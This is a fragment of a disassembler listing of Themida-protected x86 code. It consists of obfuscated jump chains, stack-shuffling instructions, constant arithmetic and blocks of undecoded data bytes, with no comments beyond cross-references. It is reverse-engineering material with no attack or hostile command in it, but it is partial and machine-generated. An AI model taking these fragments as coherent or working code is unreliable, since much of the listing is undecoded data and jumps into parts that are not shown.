		add	ebx, edi
		mov	edi, [esp]
		add	esp, 4
		jmp	loc_5A55A5
; ---------------------------------------------------------------------------
		db 68h
		dd 6275h, 83242489h, 5F042404h,	4C781h,	4EE90000h, 54FFFFACh
		dd 0FF72A6E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A25C5:				; CODE XREF: Themida_:0059957Aj
		mov	edx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_59CAFB
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		push	ebx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		mov	ebx, [esp]
		sub	esp, 4
		mov	[esp], edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_59971C
; ---------------------------------------------------------------------------
		dw 0F280h
		dd 5AD5886Bh, 1FE95366h, 0BEFFFF3Ah, 1080305h, 0E95EF129h
		dd 0FFFF38ECh
; ---------------------------------------------------------------------------


loc_5A2620:				; CODE XREF: Themida_:0059E325j
		push	2528h
		mov	[esp], edx
		push	dword ptr [esp+4]
		mov	edx, [esp]
		add	esp, 4
		pop	dword ptr [esp]
		mov	esp, [esp]
		jmp	loc_593587
; ---------------------------------------------------------------------------


loc_5A2640:				; CODE XREF: Themida_:0059D68Fj
		pop	ebx
		sub	esp, 4
		mov	[esp], ecx
		mov	ecx, 1B284431h
		sub	ecx, 64C9107Bh
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		push	edi
		push	dword ptr [esp+4]
		pop	edi
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], ebx
		push	eax
		mov	eax, 6DE0CFBh
		jmp	loc_59D0BA
; ---------------------------------------------------------------------------
		dw 315Ah
		dd 6DE95FF8h, 59FFFF55h, 45C9C681h, 0FE01290Bh,	45C9EE81h
		dd 3C8B290Bh, 4C48324h,	46850h,	1580000h, 24048BC6h, 4C481h
		dd 34330000h, 24343124h, 0E9243433h, 19C3h, 0E92434FFh
		dd 0FFFFB5B8h, 67A4C281h, 34FF2BEAh, 0C4815E24h, 4, 86768h
		dd 24148900h, 7240481h,	5851F87Ch, 0F87C072Dh, 2434FF51h
		dd 152FE9h, 66DF3500h, 743524C9h, 0E9164344h, 0FFFF0098h
		dd 88536AB2h, 0E5C0E9D3h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	78F9h
		mov	[esp], edx
		mov	edx, 4
		jmp	loc_5934E3
; ---------------------------------------------------------------------------


loc_5A271D:				; CODE XREF: Themida_:00594E73j
		or	ebx, 242654D1h
		dec	ebx
		sub	ebx, 7DD06695h
		xor	ebp, ebx
		pop	ebx
		mov	edx, ebp
		pop	ebp
		sub	edx, edi
		pop	edi
		and	eax, edx
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	edx
		jmp	loc_595941
; ---------------------------------------------------------------------------
		db 89h,	0E2h, 0E9h
		dd 0FFFF76FFh
; ---------------------------------------------------------------------------


loc_5A2748:				; CODE XREF: Themida_:005A15ECj
		mov	ecx, [esp]
		push	ebx
		mov	ebx, esp
		add	ebx, 4
		push	ebp
		mov	ebp, 4
		add	ebx, ebp
		mov	ebp, [esp]
		add	esp, 4
		xchg	ebx, [esp]
		mov	esp, [esp]
		push	783Eh
		mov	[esp], eax
		push	esp
		pop	eax
		push	4B0h
		mov	[esp], ebp
		jmp	loc_5A2451
; ---------------------------------------------------------------------------


loc_5A2782:				; CODE XREF: Themida_:005A02B6j
		shl	edi, 7
		dec	edi
		and	edi, 3DCC0215h
		dec	edi
		add	edi, 0C373FDEBh
		sub	esi, edi
		pop	edi
		sub	esi, 0FFFFFFFFh
		jmp	loc_59965C
; ---------------------------------------------------------------------------
		dw 148Bh
		dd 0E6895624h, 4C681h, 0C6810000h, 4, 5C243487h, 0C55E9h
		db 0
; ---------------------------------------------------------------------------


loc_5A27B9:				; CODE XREF: Themida_:005A00E2j
		mov	eax, [esp]
		add	esp, 4
		add	eax, 4
		sub	esp, 4
		jmp	loc_5A43CD
; ---------------------------------------------------------------------------
dword_5A27CC	dd 240C8B66h, 50168h, 24348900h, 0FFC3F7E9h		db 0FFh
; ---------------------------------------------------------------------------


loc_5A27DD:				; CODE XREF: Themida_:0059359Fj
		add	edi, 4
		sub	edi, 4
		xchg	edi, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		push	708Ch
		mov	[esp], edx
		push	5AD06E5Fh
		jmp	loc_598B58
; ---------------------------------------------------------------------------
byte_5A2801	db 66h,	8Bh, 4		; DATA XREF: Themida_:00590A18o
		dd 91E924h, 4890000h, 0E289E924h, 0E0D1FFFEh, 0C083D8F7h
		dd 0E3FD3501h, 2CE95702h, 5CFFFF09h, 0E9242489h, 0FFFEE7BEh
		dd 0C175B6BFh, 68DFF775h, 790Eh, 56241489h, 43196853h
		dd 49E960C0h
		db 8Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2847:				; CODE XREF: Themida_:005A0430j
		push	edi
		push	dword ptr [esp]
		push	dword ptr [esp]
		pop	eax
		push	eax
		mov	eax, esp
		push	ebp
		jmp	loc_59413F
; ---------------------------------------------------------------------------


loc_5A2858:				; CODE XREF: Themida_:005A1DB9j
		xor	[esp], esi
		xor	esi, [esp]
		pop	esp
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		pop	eax
		sub	esp, 4
		mov	[esp], edi
		push	esp
		mov	edi, [esp]
		push	edx
		jmp	loc_59A294
; ---------------------------------------------------------------------------


loc_5A2876:				; CODE XREF: Themida_:0059559Ej
		pop	edx
		sub	ebp, edx
		sub	ebp, 7C9F2D41h
		pop	edx
		push	ebp
		jmp	loc_5A2F9A
; ---------------------------------------------------------------------------
		dw 0C8Bh
		dd 10E95024h
		db 11h,	2 dup(0)
byte_5A288F	db 0ADh			; DATA XREF: Themida_:00590938o
		dd 1BF4BD55h, 9EE90447h, 68FFFFA3h, 3604h, 53243C89h, 2968E389h
		dd 0E9000015h, 0BF9h, 34FFEA89h, 242C8B24h, 8304C483h
		dd 0CA8104C4h, 1CBF6007h, 9304E952h, 0C829FFFFh, 6C40F92Dh
		dd 86355932h, 292CC8B5h, 0DF0158C3h, 4AE95D5Bh,	81000017h
		dd 7098F8EDh, 20E9E92Bh, 2C870000h, 7AA6E924h
		db 2 dup(0FFh)
word_5A28F6	dw 0EC81h		; DATA XREF: Themida_:00590998o
		dd 4, 56243489h, 0DC685E54h, 8900006Ch,	4BA2414h, 81000000h
		dd 762D70C6h, 81D6013Eh, 762D70EEh, 45E95A3Eh
		db 0D3h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2923:				; CODE XREF: Themida_:005A5BECj
		mov	edi, [esp]
		add	esp, 4
		xchg	eax, [esp]
		jmp	loc_59691A
; ---------------------------------------------------------------------------
		dd 0FFBF5752h, 0E92CFE2Dh, 0FFFF39B6h, 235CED81h, 81556E61h
		dd 186A242Ch, 815E0143h, 43186AC6h, 0F5295D01h,	242C335Eh
		dd 33242C31h, 895C242Ch, 74E92414h
		db 26h,	2 dup(0)
byte_5A296B	db 66h			; DATA XREF: Themida_:005908B0o
		dd 0E9240C8Bh, 0FFFF7A74h, 0FD88E95Ch, 0BD55FFFFh, 3D255D91h
		dd 0C246C01h, 2444815Dh, 261AA008h, 246C010Bh, 0C3E95608h
		dd 5EFFFF90h, 7C547005h, 3675E913h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A29A2:				; CODE XREF: Themida_:005A10BDj
		add	ebx, 4
		add	ebx, 4
		jmp	loc_59CFA1
; ---------------------------------------------------------------------------
		dd 585E3868h, 0DDF75D34h, 0FF2C32E9h, 87CF29FFh, 0F156E9F9h
		dd 348BFFFEh, 4C48124h,	56000000h, 0FF2AD6E9h, 48F54FFh
		dd 24048324h, 0C3815B04h, 4, 7F6368h, 242C8900h, 4BDh
		dd 88EB8100h, 813F076Ch, 6F3199EBh, 0E8C1E976h,	0CC88FFFFh
		dd 0E388D988h, 86D1F658h, 4EC83CBh, 0B6241489h,	3707E905h
		dd 8358FFFFh, 3C8B04C4h, 4C48324h, 2E5768h, 242C8900h
		dd 4BDh, 8BEF0100h, 0C481242Ch,	4, 8702C783h, 248B243Ch
		dd 9CC88424h, 0FEE04EE9h, 687168FFh, 1C890000h,	76D5E924h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2A5A:				; CODE XREF: Themida_:0059B764j
		push	eax
		mov	eax, 404F447Bh
		and	ebp, eax
		pop	eax
		push	ecx
		mov	ecx, 5CF021A0h
		add	ebp, ecx
		mov	ecx, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		add	edi, 4
		xchg	edi, [esp]
		pop	esp
		xor	edx, ebp
		mov	ebp, [esp]
		push	edx
		mov	edx, esp
		push	eax
		mov	eax, 249866F5h
		jmp	loc_59F7D3
; ---------------------------------------------------------------------------
		db 87h,	0Ch, 24h
		dd 0FF23DFE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2A99:				; CODE XREF: Themida_:00593E7Aj
		mov	edx, esp
		jmp	loc_59AD35
; ---------------------------------------------------------------------------


loc_5A2AA0:				; CODE XREF: Themida_:0059F5EBj
		sub	al, bl
		pop	ebx
		jmp	loc_59C1C4
; ---------------------------------------------------------------------------
		dd 8324348Bh, 0F02104C4h, 8B2434FFh, 52572434h,	0C2815A54h
		dd 4, 4EA81h, 0EC810000h, 4, 0E9241489h, 0FFFFE1D5h, 81240C89h
		dd 4ECh, 24148900h, 4BAh, 8BD18900h, 0C4832414h, 38EA8104h
		dd 15F5205h, 38C281CAh,	0FF5F5205h, 81592434h, 4C4h, 24148700h
		dd 0E924248Bh, 0FFFFFBA4h
; ---------------------------------------------------------------------------


loc_5A2B10:				; CODE XREF: Themida_:005A19FFj
		sub	esp, 4
		jmp	loc_59A940
; ---------------------------------------------------------------------------
		dd 8B243487h, 83E92424h
		db 0E3h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A2B23:				; CODE XREF: Themida_:0059A58Cj
		pop	edx
		xor	edx, 2FB0713h
		jmp	loc_59CBA2
; ---------------------------------------------------------------------------


loc_5A2B2F:				; CODE XREF: Themida_:005A5528j
		push	ecx
		jmp	loc_59DD6E
; ---------------------------------------------------------------------------
		db 68h,	0C1h, 13h
		dd 3C890000h, 4BF24h, 0F3E90000h, 81FFFF26h, 0C7312C9h
		dd 87C1811Ah, 292B742Fh, 0DF0159CBh, 897E9h, 29C7BB00h
		dd 0EB815C0Eh, 5C0E29C5h, 4BE9D989h
		db 60h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2B6F:				; CODE XREF: Themida_:0059D5E9j
		shr	edx, 2
		and	edx, 748E37DAh
		push	3AB6h
		mov	[esp], edi
		mov	edi, 3340907h
		add	edx, edi
		pop	edi
		push	eax
		jmp	loc_59E61D
; ---------------------------------------------------------------------------


loc_5A2B8E:				; CODE XREF: Themida_:005933DBj
		push	edi
		mov	edi, 4
		add	esi, edi
		jmp	loc_59AFD7
; ---------------------------------------------------------------------------
		db 46h
		dd 436FEE81h, 0EE814BD9h, 0F03293C3h, 99404D05h, 2DF02927h
		dd 2799404Dh, 0FF510CE9h, 25B850FFh, 31121A8Eh,	0AD10E9C3h
		dd 0E95FFFFFh, 0FFFFDAD3h, 81E18951h, 4C1h, 4C18100h, 87000000h
		dd 0F5C240Ch, 34FFC0B6h, 4EC8387h, 0BE243489h, 3FCh, 46BE56h
		dd 0BA527A12h, 334A6A5Eh, 15AD701h, 163EE9F7h, 8358FFFFh
		dd 348704C6h, 4335C24h,	24043124h, 0E9240433h, 0FFFEDF77h
		dd 0E6146835h, 51D8F723h, 0FEE0FCB9h, 59C801C8h, 0F5E9C731h
		dd 8BFFFF43h, 1C892424h, 3B8E6824h, 24890000h, 4EC8324h
		dd 50243489h, 88561068h, 0BE685833h, 8900000Fh,	0CBF243Ch
		dd 29338856h, 0C6895FF8h, 8124048Bh, 4C4h, 251E900h, 0D5870000h
		dd 37E5ED81h, 0F58113B8h, 90594893h, 0FFAB5CE9h, 0E38953FFh
		dd 4C381h, 0BD550000h, 4, 0FEDFC8E9h, 0F8BD55FFh, 317EAF6Fh
		dd 0BBE3E9EAh, 335BFFFFh, 5FE9243Ch, 87000023h,	0BFE9243Ch
		dd 0BAFFFF73h, 4, 79C56850h, 15858C5h, 24048BC6h, 0E9E08950h
		dd 0FFFF0F09h
; ---------------------------------------------------------------------------


loc_5A2CCC:				; CODE XREF: Themida_:005A2015j
		mov	ebx, [esp]
		add	esp, 4
		sub	edx, ebx
		add	edx, 71F56AC7h
		pop	ebx
		or	ebp, edx
		pop	edx
		push	eax
		push	ecx
		mov	ecx, 0A904366h
		mov	eax, ecx
		jmp	loc_59B9E5
; ---------------------------------------------------------------------------
		dd 2404895Ch, 0A0233AB8h, 0FB18E94Bh, 0E950FFFFh, 0FFFF67A6h
; ---------------------------------------------------------------------------


loc_5A2D00:				; CODE XREF: Themida_:0059F4BEj
		xor	edx, ecx
		mov	ecx, [esp]
		add	esp, 4
		push	5E9Eh
		mov	[esp], edx
		add	dword ptr [esp], 37A231Dh
		pop	ebx
		sub	ebx, 37A231Dh
		pop	edx
		add	ebx, 85C38665h
		and	eax, ebx
		jmp	loc_592503
; ---------------------------------------------------------------------------
		dd 0F4C2E952h
		db 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A2D32:				; CODE XREF: Themida_:0059141Dj
		sub	ebx, eax
		jmp	loc_59C4D8
; ---------------------------------------------------------------------------
		db 89h,	14h, 24h
		dd 0FF6137E9h, 57ED80FFh, 66FFED80h, 0BE5BE953h, 0E952FFFFh
		dd 0DBCh
; ---------------------------------------------------------------------------


loc_5A2D54:				; CODE XREF: Themida_:005A1948j
		sub	edi, 3A4867DCh
		mov	ecx, [esp]
		add	esp, 4
		jmp	loc_598CEE
; ---------------------------------------------------------------------------


loc_5A2D65:				; CODE XREF: Themida_:0059E0EAj
		push	dword ptr [esp+4]
		jmp	loc_59EA90
; ---------------------------------------------------------------------------
		dw 1C87h
		dd 2C8B5C24h, 4C48324h,	0FF1B86E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2D7D:				; CODE XREF: Themida_:005A5817j
		add	esp, 4
		sub	esi, 359F323Fh
		add	esi, ebp
		jmp	loc_59727A
; ---------------------------------------------------------------------------
byte_5A2D8D	db 66h,	8Bh, 4		; DATA XREF: Themida_:005909A4o
		db 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		push	ecx
		mov	ecx, 7E65147Bh
		shr	ecx, 8
		push	ecx
		not	dword ptr [esp]
		pop	ecx
		sub	ecx, 0FF819AE7h
		jmp	loc_5A39D2
; ---------------------------------------------------------------------------


loc_5A2DAD:				; CODE XREF: Themida_:005920E4j
		mov	ch, 4Fh
		sub	bl, ch
		pop	ecx
		sub	bl, al
		add	bl, 4Fh
		add	bl, 0B9h
		jmp	loc_5A2FC0
; ---------------------------------------------------------------------------


loc_5A2DBF:				; CODE XREF: Themida_:005A222Dj
		mov	eax, ebp
		push	dword ptr [esp]
		mov	ebp, [esp]
		add	esp, 4
		push	edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_59D937
; ---------------------------------------------------------------------------
		db 89h
		dd 3A682414h, 8900007Ch, 0BF572404h, 30F1E4Eh, 7E28F781h
		dd 40E90D8Fh, 80FFFF8Dh, 0CE28E0C1h, 0A8B45059h, 0C480C4FEh
		dd 84C48001h, 1DA4E9h, 2C895C00h, 3B1EBD24h, 5FE927AAh
		db 0FBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2E1B:				; CODE XREF: Themida_:00595016j
		pop	ebp
		pop	dword ptr [esp]
		mov	esp, [esp]
		and	[esp], al
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------


loc_5A2E2B:				; CODE XREF: Themida_:0059C7CCj
		pop	esp
		add	eax, 4
		sub	eax, 4
		xchg	eax, [esp]
		pop	esp
		mov	[esp], edi
		mov	edi, esp
		add	edi, 4
		jmp	loc_5999D4
; ---------------------------------------------------------------------------
		dd 82DAC181h, 0CF89BB31h, 0FFF6A1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2E55:				; CODE XREF: Themida_:005916C2j
		pop	ecx
		push	0
		sub	[esp], eax
		pop	eax
		sub	eax, 0E2842C97h
		jmp	loc_59921A
; ---------------------------------------------------------------------------
		db 0BDh, 5Bh, 9
		dd 0EA29593Ah, 53C2015Dh, 3A095BBBh, 5BDA0159h,	1B24E958h
		dd 248B0000h, 0EBB1E924h, 0C800FFFEh, 6659682Ch, 661AD968h
		dd 0B4240489h, 80D4F697h, 0ECC0DDECh, 5CEFE905h, 0B1B0FFFFh
		dd 0CCE9C188h, 8BFFFF3Bh, 0C483240Ch, 43D6804h,	0D7E90000h
		dd 1FFFFCDh, 0E9042474h, 0FFFEFE12h
; ---------------------------------------------------------------------------


loc_5A2EC8:				; CODE XREF: Themida_:0059EBF9j
		mov	edx, esp
		jmp	loc_5989AA
; ---------------------------------------------------------------------------


loc_5A2ECF:				; CODE XREF: Themida_:0059964Cj
		push	1
		push	dword ptr [esp]
		pop	edi
		jmp	loc_59D383
; ---------------------------------------------------------------------------
		db 0F7h, 0DAh, 81h
		dd 304BE8CAh, 3373E907h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2EEA:				; CODE XREF: Themida_:005A4CF3j
		push	ecx
		jmp	loc_59CDA0
; ---------------------------------------------------------------------------
		dd 0EEC1E6D1h, 18BF5702h, 1FDAB10h, 0EC835FFEh,	24348904h
		dd 0FF6D32E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2F09:				; CODE XREF: Themida_:0059F890j
		pop	esp
		shr	eax, 18h
		xor	eax, ecx
		push	3B3Ch
		mov	[esp], eax
		push	edx
		push	dword ptr [esp+4]
		push	dword ptr [esp]
		jmp	loc_5931E1
; ---------------------------------------------------------------------------
		dd 5324248Bh, 6BC7E954h, 685DFFFFh, 7F21h, 68243489h, 5DBDh
		dd 52242C89h, 55624FBAh, 8BD58948h, 0C4812414h,	4, 0AA9DB3BEh
		dd 43EE81B7h, 15BD82Eh,	43C681EEh, 0E95BD82Eh, 2991h
; ---------------------------------------------------------------------------


loc_5A2F68:				; CODE XREF: Themida_:005997D6j
		mov	esi, 13DF0670h
		mov	ebp, esi
		mov	esi, [esp]
		add	esp, 4
		push	20D1h
		mov	[esp], esi
		push	634144F0h
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_5A1DC3
; ---------------------------------------------------------------------------
		dw 815Ah
		dd 4ECh, 0A188E900h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A2F9A:				; CODE XREF: Themida_:005A2881j
		push	dword ptr [esp+4]
		jmp	loc_5932CC
; ---------------------------------------------------------------------------


loc_5A2FA3:				; CODE XREF: Themida_:0059B8B1j
		mov	[esp], edx
		mov	dh, cl
		push	ecx
		mov	cl, dh
		jmp	loc_596E98
; ---------------------------------------------------------------------------
		dd 4C781h, 3C870000h, 0E9505C24h, 0DCBh
; ---------------------------------------------------------------------------


loc_5A2FC0:				; CODE XREF: Themida_:005A2DBAj
		pop	eax
		add	bl, 4Ch
		movzx	eax, al
		pop	small word ptr [edi+eax*4]
		jmp	loc_59A642
; ---------------------------------------------------------------------------


loc_5A2FD0:				; CODE XREF: Themida_:0059D01Dj
		mov	ebp, ebx
		mov	ebx, [esp]
		add	esp, 4
		and	eax, ebp
		jmp	loc_5A15D4
; ---------------------------------------------------------------------------


loc_5A2FDF:				; CODE XREF: Themida_:0059EC77j
		add	eax, 4
		jmp	loc_59B7DD
; ---------------------------------------------------------------------------
		db 81h,	0ECh, 4
		dd 89000000h, 8B542434h, 54552434h, 0FF958CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A2FFD:				; CODE XREF: Themida_:0059A8BDj
		pop	ebp
		jmp	loc_59DC0C
; ---------------------------------------------------------------------------
		db 29h
		dd 3044E9F0h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A300A:				; CODE XREF: Themida_:005921B8j
		pop	edx
		or	cl, bl
		pop	ebx
		jmp	loc_5A2482
; ---------------------------------------------------------------------------
		db 50h
		dd 4B5199B8h, 58C2014Ah, 6A3EE81h, 8AE9375Fh, 66FFFF18h
		dd 6EE9D689h, 81FFFF71h, 0D21336F6h, 0EDF6812Eh, 1912E78h
		dd 0ABE95EF2h, 80000026h, 0F028F5C6h, 0F0C2E95Ah, 3081FFFFh
		dd 2594285Bh, 0FF1EA8E9h, 0E8835AFFh, 0CCBAE904h, 835EFFFFh
		dd 0C68101C6h, 4174233Ah, 9BA5253h, 891E9235h, 0EB815AD3h
		dd 24F271F6h, 3E6AF381h, 0D3F75296h, 8904EC83h,	0DEE9242Ch
		dd 89FFFF2Eh, 74FF2434h, 34FF0424h, 0C4815E24h,	4, 8B24048Fh
		dd 8B662424h, 0FB682404h, 89000003h, 8953241Ch,	0FC51E9E3h
		dd 0B8FFFEh, 0E9000000h, 0FFFFFF3Fh
; ---------------------------------------------------------------------------


loc_5A30C4:				; CODE XREF: Themida_:005976B5j
		push	edx
		mov	dh, 0Ch
		sub	dh, 0C1h
		jmp	loc_59BEB2
; ---------------------------------------------------------------------------
		db 81h
		dd 0C7AF75C7h, 5FFA89FFh, 0B2E9D701h, 56FFFF20h, 0C681E689h
		dd 4, 2C681h, 34870000h, 2EE95C24h, 81FFFF12h, 600F31E9h
		dd 57E92904h, 0EC5F64BFh, 33EF8154h, 0E9508C50h, 0FFFF3A05h
; ---------------------------------------------------------------------------


loc_5A3110:				; CODE XREF: Themida_:0059B521j
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_59C1AB
; ---------------------------------------------------------------------------
		dd 7BDAC381h, 0F5E9153Bh, 66FFFF8Eh, 0E9240C89h, 0FFFF80BBh
; ---------------------------------------------------------------------------


loc_5A3130:				; CODE XREF: Themida_:00595BC1j
		add	[esp+4], eax
		pop	eax
		pop	ebx
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_5A1215
; ---------------------------------------------------------------------------
		dw 489h
		dd 4EC8324h, 0FF234CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3155:				; CODE XREF: Themida_:0059CBE3j
		add	edi, 4
		xor	edi, [esp]
		xor	[esp], edi
		jmp	loc_5A54B8
; ---------------------------------------------------------------------------
		db 5Ah
		dd 315DEA89h, 24148BD0h, 5704C483h, 0FF4D80E9h,	0BA525DFFh
		dd 74A82DD4h, 60E9D101h
		db 0F2h, 0FEh, 0FFh
; ---------------------------------------------------------------------------


loc_5A3183:				; CODE XREF: Themida_:005A1086j
		mov	dh, ah
		mov	ch, dh
		mov	edx, [esp]
		push	esi
		mov	esi, esp
		add	esi, 4
		jmp	loc_5A0060
; ---------------------------------------------------------------------------
		dd 0C728C5B0h, 0FFE3DFE9h, 0BA5257FFh, 29E3321Bh, 0DDF7EA87h
		dd 0D2F7EA87h, 4EC81h, 0EFE90000h, 5CFFFF19h, 0E9242489h
		dd 0FFFF2E20h, 0C781EF29h, 44A46F5h, 8BFB295Dh,	8953243Ch
		dd 4C381E3h, 0E9000000h, 0FFFF34E2h
; ---------------------------------------------------------------------------


loc_5A31E0:				; CODE XREF: Themida_:0059E818j
		push	dword ptr [esp]
		mov	ebp, [esp]
		jmp	loc_59322D
; ---------------------------------------------------------------------------


loc_5A31EB:				; CODE XREF: Themida_:0059B50Ej
		add	ebp, 4
		add	ebp, 4
		xor	ebp, [esp]
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		pop	dword ptr [esp]
		pop	esp
		bt	[esp], eax
		pushf
		jmp	loc_590A9B
; ---------------------------------------------------------------------------
		db 89h
		dd 0EB815FFEh, 5DF30F77h, 0C381F301h, 5DF30F77h, 81D9E95Eh
		dd 1487FFFFh, 44815C24h, 3060424h, 54014800h, 0BB530424h
		dd 164A26FEh, 8143DBF7h, 18730EE3h, 8E3C115h, 0FEFAEB81h
		dd 4481C850h, 7CEA0824h, 5C291309h, 89E90824h
		db 35h,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A325F:				; CODE XREF: Themida_:00598699j
		pop	eax
		push	0
		sub	[esp], ebp
		mov	ebp, [esp]
		add	esp, 4
		shl	ebp, 1
		xor	ebp, 0D64BC71Fh
		push	ecx
		mov	ecx, 13FF74C4h
		sub	eax, ecx
		mov	ecx, [esp]
		jmp	loc_5A0FFF
; ---------------------------------------------------------------------------


loc_5A3286:				; CODE XREF: Themida_:00596062j
		push	edi
		mov	edi, 11045E2Fh
		inc	edi
		jmp	loc_59C80F
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 83000000h,	1C8704C3h, 0EC835C24h, 24148904h
		dd 4BAh, 0C6EB8100h, 12DAF18h, 0C6C381D3h, 8B2DAF18h, 54522414h
		dd 0C2BB535Ah, 8125D479h, 0D479BEEBh, 5BDA0125h, 0FFCED8E9h
		dd 0E9EF31FFh, 491h
; ---------------------------------------------------------------------------


loc_5A32DC:				; CODE XREF: Themida_:0059CDEFj
		pop	ecx
		push	eax
		push	23B3h
		jmp	loc_59834C
; ---------------------------------------------------------------------------


loc_5A32E8:				; CODE XREF: Themida_:005A207Cj
		add	ecx, 0FFFFFFFFh
		shl	ecx, 5
		push	edx
		jmp	loc_59E805
; ---------------------------------------------------------------------------
		dd 0C181F929h, 320427D4h, 74FF515Fh, 0E9590424h, 0FFFF5EB8h
		dd 4C281h, 0EE90000h, 80FFFF92h, 0E9C0FBC1h, 0F8F18003h
		dd 0F659CA00h, 0F482E9DAh, 0C281FFFEh, 4, 4C281h, 0C0E90000h
		dd 0FFFF36h, 0ABA3E9C3h, 0C87FFFFh, 104AE924h, 2C33FFFFh
		dd 0CC90E924h, 348BFFFFh, 58D2E924h
		db 2 dup(0FFh)
word_5A3356	dw 0AA68h		; DATA XREF: Themida_:00590880o
		dd 89000065h, 0FF68241Ch, 0FFFFFFFBh, 34FF2434h, 6A72E924h
		dd 0F488FFFFh, 5A58E188h, 0FF9D7FE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_5A3379:				; CODE XREF: Themida_:005A22E0j
		mov	[esp], ecx
		mov	ecx, esp
		jmp	loc_596381
; ---------------------------------------------------------------------------


loc_5A3383:				; CODE XREF: Themida_:0059D93Dj
		pop	esp
		push	5F2Bh
		jmp	loc_596346
; ---------------------------------------------------------------------------
		dw 0BE56h
		dd 62766F83h, 0FF8644E9h, 4BAFFh, 0C7810000h, 5A630F88h
		dd 44E8C781h, 0D72928B4h, 0FF6512E9h, 53BA52FFh, 4A0AE141h
		dd 0FF8D05E9h, 240C89FFh, 0FF15C2E9h, 241433FFh, 0D324248Bh
		dd 0E99C2424h, 0FFFED6C7h, 83242C8Bh, 23E904C4h
		db 8Dh,	2 dup(0FFh)
byte_5A33DF	db 0FFh			; DATA XREF: Themida_:00590838o
		dd 34FF2434h, 2434FF24h, 4C48159h, 0E9000000h, 0FFFF69CDh
		dd 81241C8Bh, 4C4h, 5FFA2900h, 8B241487h, 1C892424h, 127EE924h
		dd 5655FFFFh, 0C2777ABEh, 0EBC6817Dh, 501B3E4Dh, 14676DB8h
		dd 37642D0Ah, 24E9FC7Ch, 0C1FFFEDEh, 0C78102E7h, 13D717Ch
		dd 7EBFB951h, 0CF29BD06h, 0BAD4E959h
		db 2 dup(0FFh)
word_5A3442	dw 8B66h		; DATA XREF: Themida_:00590808o
		dd 40E9240Ch, 81FFFF7Ch, 4C3h, 6A8C6800h, 1BE90000h, 89000019h
		dd 74FF241Ch, 34FF0424h, 2434FF24h, 4C4815Bh, 81000000h
		dd 4C4h, 24048F00h, 6824248Bh, 2588h, 0E9242C89h, 0FFFFD5A8h
; ---------------------------------------------------------------------------


loc_5A3488:				; CODE XREF: Themida_:00597430j
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		push	eax
		mov	eax, 4
		add	ebp, eax
		pop	eax
		push	ebp
		push	dword ptr [esp+4]
		pop	ebp
		pop	dword ptr [esp]
		pop	esp
		jmp	loc_59884D
; ---------------------------------------------------------------------------
		db 89h,	3Ch, 24h
		dd 4BFh, 0FFFB0100h, 835F2434h,	0EB8304C4h, 241C8704h
		dd 197DE9h
		db 0
; ---------------------------------------------------------------------------


loc_5A34C5:				; CODE XREF: Themida_:0059E618j
		mov	eax, 0C6A2172Fh
		sub	ebx, eax
		pop	eax
		jmp	loc_5A08D0
; ---------------------------------------------------------------------------


loc_5A34D2:				; CODE XREF: Themida_:0059810Bj
		push	eax
		neg	dword ptr [esp]
		pop	eax
		push	ebx
		mov	ebx, 742C4779h
		add	eax, ebx
		jmp	loc_59D9D0
; ---------------------------------------------------------------------------
		dd 0CB11BF0Dh, 0ACFDE946h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_5A34EE:				; CODE XREF: Themida_:005A4D71j
		mov	esp, [esp]
		jmp	loc_59CD98
; ---------------------------------------------------------------------------


loc_5A34F6:				; CODE XREF: Themida_:005915A5j
		add	edi, 322E11FBh
		add	edi, ebx
		sub	edi, 322E11FBh
		sub	edi, 0A5524DEh
		jmp	loc_594B52
; ---------------------------------------------------------------------------
		db 81h
		dd 504246Ch, 81204C01h,	0FA04246Ch, 0E90EF60Ah,	0FFFF665Fh
; ---------------------------------------------------------------------------


loc_5A3524:				; CODE XREF: Themida_:005994CCj
		xor	edx, esi
		jmp	loc_5A489A
; ---------------------------------------------------------------------------


loc_5A352B:				; CODE XREF: Themida_:0059961Cj
		sub	edi, 7B866EE4h
		jmp	loc_5910EA
; ---------------------------------------------------------------------------
